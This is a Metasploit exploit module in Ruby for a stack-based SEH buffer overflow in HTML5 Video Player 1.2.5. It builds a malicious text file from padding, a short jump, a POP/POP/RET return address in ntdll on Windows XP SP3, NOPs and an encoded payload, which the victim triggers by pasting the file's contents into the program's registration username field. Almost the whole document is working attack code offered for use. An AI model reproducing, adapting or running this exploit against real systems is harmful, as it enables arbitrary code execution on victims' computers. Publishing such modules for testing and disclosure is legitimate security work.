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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name'=> 'HTML5 Video Player 1.2.5 - Buffer Overflow (SEH)', 'Description'=> %q{ This module exploits a stack based buffer overflow in HTML5 Video Player 1.2.5 , when with the name "msf.txt". 1.file with the name "msf.txt" and copy content to clipboard ,2.Open software, click Help > Register and paste "Username" click "OK". }, 'License'=> MSF_LICENSE, 'Author'=> [ 'T3jv1l', # Original discovery 'Kağan Çapar',# Original discovery 'd3ckx1 d3ck(at)qq.com', # MSF module ], 'References'=> [ [ 'OSVDB', '' ], [ 'EBD', '45888' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Platform'=> 'win', 'Payload' => { 'BadChars'=> "\x00\x0a\x0d\x1a", 'DisableNops' => true, 'Space' => 4000 }, 'Targets' => [ [ 'HTML Video Player 1.2.5', { 'Ret' =>0x7C901931, # 0x7C901931 : P/P/R FROM ntdll.dll form winxp sp3 'Offset'=>1984 } ], ], 'Privileged'=> false, 'DisclosureDate'=> 'Nov 22 2018', 'DefaultTarget'=> 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class) end def exploit buf = "\x41"*(target['Offset']) buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload) buf << [target.ret] .pack('V')# seh buf << make_nops(30) buf << payload.encoded buf << "\x90" * 300 file_create(buf) handler end end |
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